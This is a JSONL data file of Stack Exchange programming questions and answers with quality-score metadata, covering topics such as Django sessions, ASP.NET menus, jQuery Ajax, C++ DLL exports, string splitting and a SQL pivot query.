{"id": "hf_3683a58b6ea4", "question": "<p>I am writing an application where I will be accessing the database from django and from a stand alone application. Both need to do session verification and the session should be the same for both of them. Django has a built in authentication/session verification, which is what I am using, now I need to figure out how to reuse the same session for my stand alone application.</p>\n\n<p>My question is how can I look up a session_key for a particular user?</p>\n\n<p>From what it looks there is nothing that ties together auth_user and django_session</p>\n", "question_body": "", "answer": "This is somewhat tricky to do, because not every session is necessarily associated with an authenticated user; Django's session framework supports anonymous sessions as well, and anyone who visits your site will have a session, regardless of whether they're logged in.\nThis is made trickier still by the fact that the session object itself is serialized -- since Django has no way of knowing which data exactly you want to store, it simply serializes the dictionary of session data into a string (using Python's standard \"pickle\" module) and stuffs that into your database.\nIf you have the session key (which will be sent by the user's browser as the cookie value \"sessionid\"), the easiest way to get at the data is simply to query the Session table for the session with that key, which returns a Session object. You can then call that object's \"get_decoded()\" method to get the dictionary of session data. If you're not using Django, you can look at the source code (django/contrib/sessions/models.py) to see how the session data is deserialized.\nIf you have the user id, however, you'll need to loop through all of the Session objects, deserializing each one and looking for one which has a key named \"_auth_user_id\", and for which the value of that key is the user id.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.665910"}
{"id": "hf_a3b6db8df98c", "question": "<p>I have a (derived) Menu control, that displays a rather large list of items from a custom data source. I need to disable ViewState on the menu to avoid the very annoying \"Can't select a disabled or unselectable menu item\" when some other control causes the current selection to change on a postback.</p>\n\n<p>Unfortunately, when ViewState is disabled for the Menu, the postbacks generated <em>by</em> the menu aren't raising any events. If I enable ViewState, the OnMenuItemClick event is raised. If I disable ViewState, OnMenuItemClick is not raised. I'm perplexed.</p>\n\n<p>I need to leave ViewState off for the menu, so how can I handle postbacks from the actual menu?</p>\n\n<p>At this point I'm leaning towards using the Menu's Load event, parsing the __EVENTTARGET to see if it's the Menu, and going from there. This would technically process the postback event before it would normally but that's ok, I guess.</p>\n\n<p>Any better ideas?</p>\n", "question_body": "", "answer": "I've figured out the essence of the problem. Using Reflector we can see the important part(s) of the low level method that handles the actual postback and then raises the event:\n```\n```\nstring str = HttpUtility.HtmlDecode(eventArgument);\n...\nMenuItem item = this.Items.FindItem(str.Split(new char[] { '\\\\' }), 0);\nif (item != null)\n    this.OnMenuItemClick(new MenuEventArgs(item));\n```\n```\nAs you can see the MenuEventArgs is handed a MenuItem. If one cannot be found in the current Items collection that matches the incoming post data, then the event is not raised. With ViewState disabled, the menu doesn't have any Items (they would have been rebuilt using ViewState). So the event won't be raised.\nTo work around this, I've told the menu to build itself during Load using the not-yet-updated data (at this point it will be the same as it was at the end of the last request). This is essentially the same as rebuilding the menu from ViewState, so I don't feel bad in regards to performance, or whatever. OnMenuItemClick is then fired as expected. Lastly, during PreRender I tell the Menu to rebuild once again, so it reflects the changes that happened during the postback processing portion of the lifecycle.\nI wasted a lot of time on this, so hopefully this info can help somebody else in a similar situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.717907"}
{"id": "hf_ab09efff7475", "question": "<p>I am working on a web page that is using jQuery. I have an Ajax call that gets data from the server and updates a div. Inside that data there is a jQuery function, but the function is not being called after the data is loaded into the page. I have the proper js files included in the page already.</p>\n\n<p>This is what is returned from the Ajax call and placed into a div:</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\n    $(function() {\n         $('input').myFunction('param');             \n    }); \n&lt;/script&gt;\n&lt;p&gt; other html &lt;/p&gt;\n</code></pre>\n\n<p>How do I get the returned javascript to run after the html is inserted into the page?</p>\n\n<p>(I am using Rails with the jRails plugin )</p>\n", "question_body": "", "answer": "If you want JavaScript tag evaluation, with html content, you should set the dataType option of the ajax call to \"html\":\n```\n```\n$.ajax({\n  type: \"GET\",\n  url: \"yourPage.htm\",\n  dataType: \"html\"\n});\n```\n```\nOr dataType \"script\", if you want to load and execute a .js file:\n```\n```\n$.ajax({\n  type: \"GET\",\n  url: \"test.js\",\n  dataType: \"script\"\n});\n```\n```\nmore info here:\nAjax/jQuery.ajax", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.740930"}
{"id": "hf_84cb631094b5", "question": "<p>The most favorite feature of StackOverflow for me is that it can automatically detect code in post and set appropriate color to the code.</p>\n\n<p>I'm wondering how the color is set. When I do a <kbd>Ctrl</kbd>+<kbd>F5</kbd> on a page, the code seems first be black text, then change to be colorful. Is it done by jQuery?</p>\n", "question_body": "", "answer": "From\nStack Overflow Podcast #11\n:\nAtwood:\nIt is. Okay, so that comes from, that's a project some Google engineer, I think, wrote it--it's called \"Prettify.\" And it's a little interesting in that it actually infers all the syntax highlighting, which sounds like it couldn't possibly work--it sounds actually insane, if you think about it.  But it actually kind of works.  Now, he only supports it for, there's certain dialects that just don't really work well with it, but for all the dialects that sort of, you'd find on Google. I think it comes from Google's Google Code.  It's the actual code, it's the actual JavaScript which is on Google Code that highlights that the code that comes back when you're hosting projects on Google Code.  And you, and you, um, 'cause I think they use Subversion so you can actually click through...\nSpolsky:\nHow do they know, how do they even know what language you're writing in? And therefore, what a comment is and...\nAtwood:\nI don't know.  It's crazy.  It's prettify.js, so if anyone's interested in looking at this, just do a web search for \"prettify.js,\" and you'll find it.\nAnd here's where you can find prettify.js:\nhttp://code.google.com/p/google-code-prettify/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.777110"}
{"id": "hf_c31c531a3fb9", "question": "<p>What is a Turing machine and why do people keep mentioning it? My IBM PC is all I need to do my computation! Why does anyone care about these machines?</p>\n", "question_body": "", "answer": "A Turing machine is an abstract machine capable of computation.\nFrom Wikipedia:\nTuring machines are basic abstract symbol-manipulating devices which, despite their simplicity, can be adapted to simulate the logic of any computer algorithm. They were described in 1936 by Alan Turing. Turing machines are not intended as a practical computing technology, but a thought experiment about the limits of mechanical computation. Thus they were not actually constructed. Studying their abstract properties yields many insights into computer science and complexity theory.\nA Turing machine that is able to simulate any other Turing machine is called a Universal Turing machine (UTM, or simply a universal machine). A more mathematically-oriented definition with a similar \"universal\" nature was introduced by Alonzo Church, whose work on lambda calculus intertwined with Turing's in a formal theory of computation known as the Church-Turing thesis. The thesis states that Turing machines indeed capture the informal notion of effective method in logic and mathematics, and provide a precise definition of an algorithm or 'mechanical procedure'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.813546"}
{"id": "hf_ffa25ff8c62b", "question": "<p>My understanding is that in unix, when memory is freed, the memory doesn't get returned back to the operating system, it stays in the process to be used again for the next call to malloc.</p>\n\n<p>On windows, I understand that the memory actually gets returned to the operating system.</p>\n\n<p>Is there any big difference between these two ways of doing things or are they just two different ways of doing the same thing?  And if there are any pros/cons to these two methods, what are they?</p>\n\n<p><strong>EDIT:</strong>  Thanks for the clarification.  I had always thought this was an OS thing (since processes never seem to decrease in size in UNIX-like systems, but do in windows).</p>\n", "question_body": "", "answer": "From this\nMemory Management\narticle\nMalloc does not normally return the freed memory to the operating system; it remains owned by the process until it terminates. The process can reuse it the next time it requests more memory, but other programs will not have access to it, even if no other memory is available. As a corollary, then, the memory footprint of a program is the size of the largest allocation(s) made at any one time. Thus it is always wise to free objects you do not need, especially large ones as soon as possible, to minimize this footprint.\nThat article does suggest that in Windows, at least for C program, the memory is not returned to the OS.\nSo I am not sure about your generalization about windows memory deallocation.\nThat said, you can try and\nEmulating UNIX Memory Management Under Microsoft Windows\n, by implementing low level system calls sbrk and mmap/munmap on Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.837382"}
{"id": "hf_6a4e8e239413", "question": "<p>How can I implement a <code>diff</code> function, such as Stack Overflow's question revision history?</p>\n", "question_body": "", "answer": "You have here a\njavascript example\nof the implementation of a diff algorithm.\nBased on:\nP. Heckel, A technique for isolating differences between files\nComm. ACM, 21, (4), 264--268 (1978).\nThe implementation, itself, has two functions, one of which is recommended for use:\n```\n```\ndiffString( String oldFile, String newFile )\n```\n```\nThis method takes two strings and calculates the differences in each. The final result is the 'newFile' marked up with HTML (to signify both deletions from the oldFile and additions to the newFile).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.861089"}
{"id": "hf_d816ce222cd2", "question": "<p>I've been reading many a tutorial/article on unmanaged DLLs in C++. For the life of me, however, I cannot seem to grasp the concept. I'm easily confused by the seeming disagreement about whether it needs a header file, how to export it, whether I need a .lib file and what have you.</p>\n\n<p>So, let's assume I have just a function like so:</p>\n\n<pre><code>public int calculateSquare(int num)\n{\n    return num*num;\n}\n</code></pre>\n\n<p>Ignoring the actual code, what do I require to make this simple function, by itself, into a DLL which I can then call? Do I just add __dllexport or whatever it is to the first line or do I require a header? I am perplexed by all of this.</p>\n", "question_body": "", "answer": "I cannot stress this enough, the C++ compiler does not see header files, after the preprocessor is done, there's just one big source file ( also called the compilation unit ). So strictly you don't need a header to export this function from a dll.\nWhat you do need is some form of conditional compilation to export the function in the dll that you are compiling and to import it in the client code.\nTypically this is done with a combination of macros and header files. You create a macro called MYIMPORTEXPORT and through the use of macro conditional statements you make it work like __declspec ( dllexport ) in the dll, and __declspec( dllimport ) in the client code.\nin file MYIMPORTEXPORT.h\n```\n```\n#ifdef SOME_CONDITION\n#define MYIMPORTEXPORT __declspec( dllexport )\n#else\n#define MYIMPORTEXPORT __declspec( dllimport )\n#endif\n```\n```\nin file MyHeader.h\n```\n```\n#include <MyImportExport.h>\n\nMYIMPORTEXPORT public int calculateSquare(int num)\n{\n    return num*num;\n}\n```\n```\nin dll .cpp file\n```\n```\n#define SOME_CONDITION\n\n#include <MyHeader.h>\n```\n```\nin client code .cpp file\n```\n```\n#include <MyHeader.h>\n```\n```\nOf course you also need to signal to the linker that you are building a dll with the\n/DLL option\n.\nThe build process will also make a .lib file, this is a static lib - called the stub in this case - which the client code needs to link to as if it were linking to a real static lib. Automagically, the dll will be loaded when the client code is run. Of course the dll needs to be found by the OS through its lookup mechanism, which means you cannot put the dll just anywhere, but in a specific location.\nHere\nis more on that.\nA very handy tool to see whether you exported the correct function from the dll, and whether the client code is correctly importing is\ndumpbin\n. Run it with /EXPORTS and /IMPORTS respectively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.884645"}
{"id": "hf_16b783b7145e", "question": "<p>Why do some sites (or advertisers that give clients javascript code) employ a technique of splitting the <code>&lt;script&gt;</code> and/or <code>&lt;/script&gt;</code> tags up within <code>document.write()</code> calls?</p>\n\n<p>I noticed that Amazon does this as well, for example:</p>\n\n<pre><code>&lt;script type='text/javascript'&gt;\n  if (typeof window['jQuery'] == 'undefined') document.write('&lt;scr'+'ipt type=\"text/javascript\" src=\"http://z-ecx.images-amazon.com/images/G/01/javascripts/lib/jquery/jquery-1.2.6.pack._V265113567_.js\"&gt;&lt;/sc'+'ript&gt;');\n&lt;/script&gt;\n</code></pre>\n", "question_body": "", "answer": "I think is for prevent the browser's HTML parser from interpreting the <script>, and mainly the  </script> as the closing tag of the actual script, however I don't think that using document.write is a excellent idea for evaluating script blocks, why don't use the DOM...\n```\n```\nvar newScript = document.createElement(\"script\");\n...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.944363"}
{"id": "hf_1b050a2d796c", "question": "<p>I've recently been trying to create units tests for some legacy code.</p>\n\n<p>I've been taking the approach of using the linker to show me which functions cause link errors, greping the source to find the definition and creating a stub from that. </p>\n\n<p>Is there an easier way? \nIs there some kind of C++ parser that can give me class definitions, in some easy to use form, from which I can generate stubs?</p>\n", "question_body": "", "answer": "You may want to investigate\nhttp://os.inf.tu-dresden.de/vfiasco/related.html#parsing\n. But C++ parsing is hard.\nOn the other hand, maybe ctags or something similar can extract class definitions...\nYou may also try to write your own simple (?) parser to generate class stubs from header files...\nI tried to give you some pointers. As you see, the problem is not easy. But hopefully you can automate at least some part of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.967707"}
{"id": "hf_4e22011b5d18", "question": "<p>I have a product idea that requires integration into the Microsoft Office suite.</p>\n\n<p>Are there any licensing/limitation issues to be aware of for me to proceed?</p>\n", "question_body": "", "answer": "Depends...\nIf your product uses their published APIs and you don't ship any components of theirs \"in your box\" then you are (probably) just a value added supplier on top of their platform.  You would be telling your customers to have the appropriate MS products in place and then install your App over the top.  That approach is fine and the only reason you need to tell MS is because you will get a lot more business if you are a preferred/certified supplier/partner.  (Depending on which product(s) you are integrating with you should check on MS to make sure that there are no specific license terms around using them).\nIf you put any of their code in your box then you have to make sure you are operating within the terms of their license and they will almost certainly make you jump through some hoops to get yourself approved by them.  You also have the problem of sharing revenues which is not likely to work in your favour.\nIn my experience MS don't like doing this with anyone - regardless of size - and certainly not with really small players.\nYou may be better off approaching them directly before you start and find out if there are incubation projects that you could join to surface your idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.003132"}
{"id": "hf_399394a18018", "question": "<p>In XEmacs this is done by the calling the function char-to-ucs on a character.  GNU Emacs does not seem to have this function.  In GNU Emacs, characters seem to be ordinary integers.  Running C-x = on a latin character reveals that the Emacs codepoint is different from the Unicode codepoint for the corresponding character.  How do I find the Unicode codepoint of the character at point in GNU Emacs?</p>\n", "question_body": "", "answer": "In a modern Emacs, M-x describe-char will tell you about the character at point.\nAn example:\n```\n```\ncharacter: ¢ (2210, #o4242, #x8a2, U+00A2)\n    charset: latin-iso8859-1\n         (Right-Hand Part of Latin Alphabet 1 (ISO/IEC 8859-1): ISO-IR-100.)\n code point: #x22\n     syntax: w  which means: word\n   category: l:Latin\nbuffer code: #x81 #xA2\n  file code: #xC2 #xA2 (encoded by coding system utf-8)\n    display: by this font (glyph code)\n     -apple-monaco-medium-r-normal--12-120-72-72-m-120-mac-roman (#xA2)\n```\n```\nNote the U+00A2 in the first part, which gives the Unicode codepoint of the character.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.026255"}
{"id": "hf_f63dd4f699dc", "question": "<p>Suppose I have this Windows wchar_t string:</p>\n\n<pre><code>L\"\\x4f60\\x597d\"\n</code></pre>\n\n<p>and</p>\n\n<pre><code>L\"\\x00e4\\x00a0\\x597d\"\n</code></pre>\n\n<p>and would like to convert it (not necessarily programmatically; it will be a one-time thing) to GCC/Linux wchar_t format, which is UTF-32 AFAIK. How do I do it? (a general explanation would be nice, but example based on this concrete case would be helpful as well)</p>\n\n<p><em>Please don't direct me to character conversion sites. I would like to convert from L\"\\x(something)\" form and not \"end character\" form.</em></p>\n", "question_body": "", "answer": "Would converting from UTF-16 (the Visual C++\n```\nwchar_t\n```\nform) to UTF-8, then possibly from UTF-8 to UCS-4 (the GCC\n```\nwchar_t\n```\nform), be an acceptable answer?\nIf so, then in Windows you could use the\n```\nWideCharToMultiByte\n```\nfunction (with\n```\nCP_UTF8\n```\nfor the\n```\nCodePage\n```\nparameter), for the first part of the conversion. Then you could either paste the resulting UTF-8 strings directly into your program, or convert them further.\nHere\nis a message showing how one person did it; you can also write your own code or do it manually (the official spec, with a section on exactly how to convert UTF-8 to UCS-4, can be found\nhere\n). There may be an easier way, I'm not overly familiar with the conversion stuff in Linux yet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.061783"}
{"id": "hf_5c5ca986990d", "question": "<p>How do I iterate over the words of a string composed of words separated by whitespace?</p>\n<p>Note that I'm not interested in C string functions or that kind of character manipulation/access. I prefer elegance over efficiency. My current solution:</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;sstream&gt;\n#include &lt;string&gt;\n\nusing namespace std;\n\nint main() {\n    string s = &quot;Somewhere down the road&quot;;\n    istringstream iss(s);\n\n    do {\n        string subs;\n        iss &gt;&gt; subs;\n        cout &lt;&lt; &quot;Substring: &quot; &lt;&lt; subs &lt;&lt; endl;\n    } while (iss);\n}\n</code></pre>\n", "question_body": "", "answer": "The STL does not have such a method available already.\nHowever, you can either use C's\n```\nstrtok()\n```\nfunction by using the\n```\nstd::string::c_str()\n```\nmember, or you can write your own. Here is a code sample I found after a quick Google search (\n\"STL string split\"\n):\n```\n```\nvoid Tokenize(const string& str,\n              vector<string>& tokens,\n              const string& delimiters = \" \")\n{\n    // Skip delimiters at beginning.\n    string::size_type lastPos = str.find_first_not_of(delimiters, 0);\n    // Find first \"non-delimiter\".\n    string::size_type pos     = str.find_first_of(delimiters, lastPos);\n\n    while (string::npos != pos || string::npos != lastPos)\n    {\n        // Found a token, add it to the vector.\n        tokens.push_back(str.substr(lastPos, pos - lastPos));\n        // Skip delimiters.  Note the \"not_of\"\n        lastPos = str.find_first_not_of(delimiters, pos);\n        // Find next \"non-delimiter\"\n        pos = str.find_first_of(delimiters, lastPos);\n    }\n}\n```\n```\nTaken from:\nhttp://oopweb.com/CPP/Documents/CPPHOWTO/Volume/C++Programming-HOWTO-7.html\nIf you have questions about the code sample, leave a comment and I will explain.\nAnd just because it does not implement a\n```\ntypedef\n```\ncalled iterator or overload the\n```\n<<\n```\noperator does not mean it is bad code. I use C functions quite frequently. For example,\n```\nprintf\n```\nand\n```\nscanf\n```\nboth are faster than\n```\nstd::cin\n```\nand\n```\nstd::cout\n```\n(significantly), the\n```\nfopen\n```\nsyntax is a lot more friendly for binary types, and they also tend to produce smaller EXEs.\nDon't get sold on this\n\"Elegance over performance\"\ndeal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.087681"}
{"id": "hf_df09c3c24af5", "question": "<p>I recently started using Git as my version control system for some Cocoa projects I'm working on and wondered if there are best practices for working with version control systems on Cocoa projects.</p>\n\n<p>There is the obvious \"build\" directory which I exclude from versioning as it's not important and can change quite a bit when debugging some code and then there are those .pbxuser and .perspectivev3 which change ever time I open the project in Xcode but I don't really know if they are \"important\" enough to be checked in.</p>\n\n<p>Is there a commonly used configuration for excluding unimportant files?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "I never commit the ${LOGNAME}.* files as they're basically preferences information for the current user; the project sources, targets, dependencies and so on are in the project.pbxproj file. And as you mentioned in your question, the build directory (assuming you have the Place Build Products in: Project directory option set) is where the derived files live, so there's no need to check that in. You can always re-generate its contents from the source code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.134912"}
{"id": "hf_f179c8090991", "question": "<p>I am using System.IO.Directory.GetCurrentDirectory() to get the current directory in my web service, but that does not give me the current directory. How do I get the current directory in a web service?</p>\n\n<p>Thanks\nStuart </p>\n", "question_body": "", "answer": "In a webservice, you are running in a http context. So,\n```\n```\nHttpContext.Current.Server.MapPath(\"~/\")\n```\n```\nwill give you the answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.169334"}
{"id": "hf_bd35b3452dc8", "question": "<p>I want to be able to put preformatted text (i.e. containing line breaks) into a single cell of a FitNesse fixture table. Is there a way to manipulate the FitNesse wiki markup to do this?</p>\n", "question_body": "", "answer": "One way to do this is to define a variable with the multi-line text and then refer to this from the table cell:\n```\n```\n!define sql {  SELECT *\n  FROM bar\n  WHERE gaz = 14\n}\n\n|sql|\n|${sql}|\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.216023"}
{"id": "hf_a1b9df478a75", "question": "<p>What is the best way to have my C# Compact Framework program running in the background on a Windows Mobile device ? I need to respond to different events, such as a text message arriving with a specific content. I would like not to start up any UI when the process is started, but just run in the background until UI is needed.</p>\n\n<p>How can this be done ?</p>\n", "question_body": "", "answer": "Just create the app as a Console app.  If you need a message pump, you need to call Run without any parameters, and the CF doesn't have that.  OpenNETCF's\nApplication2 class\nin the\nSDF\ndoes.  At that point you can raise a UI any time by creating and showing a Form as usual.\nYou cannot create a true service for CE or WinMo with managed code because EE Hosting is not supported.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.239221"}
{"id": "hf_a9d2c4dde690", "question": "<p>I need to integrate a email client in my current python web app.\nAnything available?</p>\n\n<p>L.E.: I'm building my app on top of CherryPy</p>\n", "question_body": "", "answer": "You can build one, using\nemail\nfor generating and parsing mail,\nimaplib\nfor reading (and managing) incoming mail from your mail server, and\nsmtplib\nfor sending mail to the world.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.285449"}
{"id": "hf_2324f8fda22a", "question": "<p>Is there a correct way in Windows Forms to flash a titlebar without having to drop to P/Invoking FlashWindow?</p>\n\n<p>I'm using .NET 2.0 for compatibility and size reasons, so maybe I just missed the method because it's in newer versions of the .NET framework.</p>\n", "question_body": "", "answer": "No, I dont think so. PInvoking the\n```\nFlashWindowEx\n```\nmethod is the only way I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.320896"}
{"id": "hf_3f66d6fea0f9", "question": "<p>I have a select query that currently produces the following results:\n<BR></p>\n\n<pre><code>Description   Code    Price\n Product 1     A        5\n Product 1     B        4\n Product 1     C        2\n</code></pre>\n\n<p>Using the following query:  </p>\n\n<pre><code>SELECT DISTINCT np.Description, p.promotionalCode, p.Price\nFROM            Price AS p INNER JOIN\n                         nProduct AS np ON p.nProduct = np.Id\n</code></pre>\n\n<p>I want to produce the following:   </p>\n\n<pre><code>Description  A  B  C\n Product 1   5  4  2\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT \n    np.Id, \n    np.Description, \n    MIN(Case promotionalCode WHEN 'A' THEN Price ELSE NULL END) AS 'A',\n    MIN(Case promotionalCode WHEN 'B' THEN Price ELSE NULL END) AS 'B',\n    MIN(Case promotionalCode WHEN 'C' THEN Price ELSE NULL END) AS 'C'\nFROM \n    Price AS p \nINNER JOIN nProduct AS np ON p.nProduct = np.Id\nGROUP BY \n    np.Id,\n    np.Description\n```\n```\nHere is a simple test example:\n```\n```\nDECLARE @temp TABLE (\n    id INT,\n    description varchar(50),\n    promotionalCode char(1),\n    Price smallmoney\n)\n\nINSERT INTO @temp\nselect 1, 'Product 1', 'A', 5\n    union\nSELECT 1, 'Product 1',  'B', 4\n    union\nSELECT 1, 'Product 1', 'C', 2\n\nSELECT\n    id,\n    description,\n    MIN(Case promotionalCode WHEN 'A' THEN Price ELSE NULL END) AS 'A',\n    MIN(Case promotionalCode WHEN 'B' THEN Price ELSE NULL END) AS 'B',\n    MIN(Case promotionalCode WHEN 'C' THEN Price ELSE NULL END) AS 'C'\nFROM\n     @temp\nGROUP BY \n    id,\n    description\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.370629"}
{"id": "hf_b65e1d1b8ef3", "question": "<p>I am playing around with MVC and have started setting up an existing site we have built in standard .Net Forms.</p>\n\n<p>I am only including a JS file and as all the requests are being routed via .Net it is trying to compile it.</p>\n\n<p>It is the standard compilation error you would see with invalid c#:</p>\n\n<p>CS1012: Too many characters in character literal</p>\n\n<p>How do you prevent client assets being compiled?</p>\n\n<p>Many thanks</p>\n", "question_body": "", "answer": "I have resolved my problem. I had the script tag in my Master Page with a runat=\"server\" in the declaration. This then made .NET try and compile the included JavaScript file?? I have done this quite happily in .NET 2.0 without problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.416949"}
{"id": "hf_34c7abb45833", "question": "<p>Does anyone know where I can find an algorithm that given a set of values (dates) for an axis I can calculate a reasonable scale and tick interval?</p>\n", "question_body": "", "answer": "The tick interval is going to be dependent on your display area.  You'll need to take the width of your graph (I'm assuming time is on the X axis) and the width of a date string in your selected font into account in order to come up with a good scale.\nThe basic algorithm will go something like this.\nScan the list of dates to find the minimum and maximum values.\nDivide the graph width by the date string width (this can be done once with the result stored in a variable if *both* widths are constant).  This step will be easier if you use a fixed-width font and a MM-DD-YYYY date format.  If you use a variable-width font and a date format where you spell out the name of the month, you'll need to add extra padding to the string to make sure each date string is the same width.  Note that I said *extra* padding.  Even if you use a fixed date format, you'll want to pad it with at least one space to avoid crowding.  I'll call this value `ticks` because it's exactly how many ticks on your axis will fit based on the width of your graph.\nCalculate how many days are between your minimum and maximum dates (inclusive).  How you do this will depend on what language you're using.  Hopefully you have good Date and Calendar implementations to fall back on.  I'll just call this value `days`.\nCalculate the tick interval with the formula `interval = days / (ticks - 1)`.\nDetermine which days fall on tick intervals by adding `interval` to your minimum date until you reach your maximum date.  Again, this will depend on what language you use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.440740"}
{"id": "hf_f3de9f0d2b42", "question": "<pre><code>&lt;?php\nfunction toconv(string)\n{\n    $gogo = array(\"a\" =&gt; \"b\",\"cd\" =&gt; \"e\");\n    $string = str_replace(\n        array_keys( $gogo ),\n        array_values( $gogo ),\n        $string\n    );\n    return $string;\n}\n?&gt;\n</code></pre>\n\n<p>How can I implement that in JavaScript?</p>\n", "question_body": "", "answer": "String.replace() in Javascript receives regexes instead of strings and here's a translation. You need to append the g modifier to the regex to replace all occurrences instead of only the first one.\n```\n```\n<script>\nfunction toconv(str) {\n    replacements = ['b','e'];\n    regexes = [/a/g,/cd/g];\n\n    for (i=0; i < regexes.length; i++) {\n       str = str.replace(regexes[i],replacements[i]);\n    }\n    return str;\n}\n\nalert(toconv('acdacd'));\nalert(toconv('foobar'));\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:09.464884"}
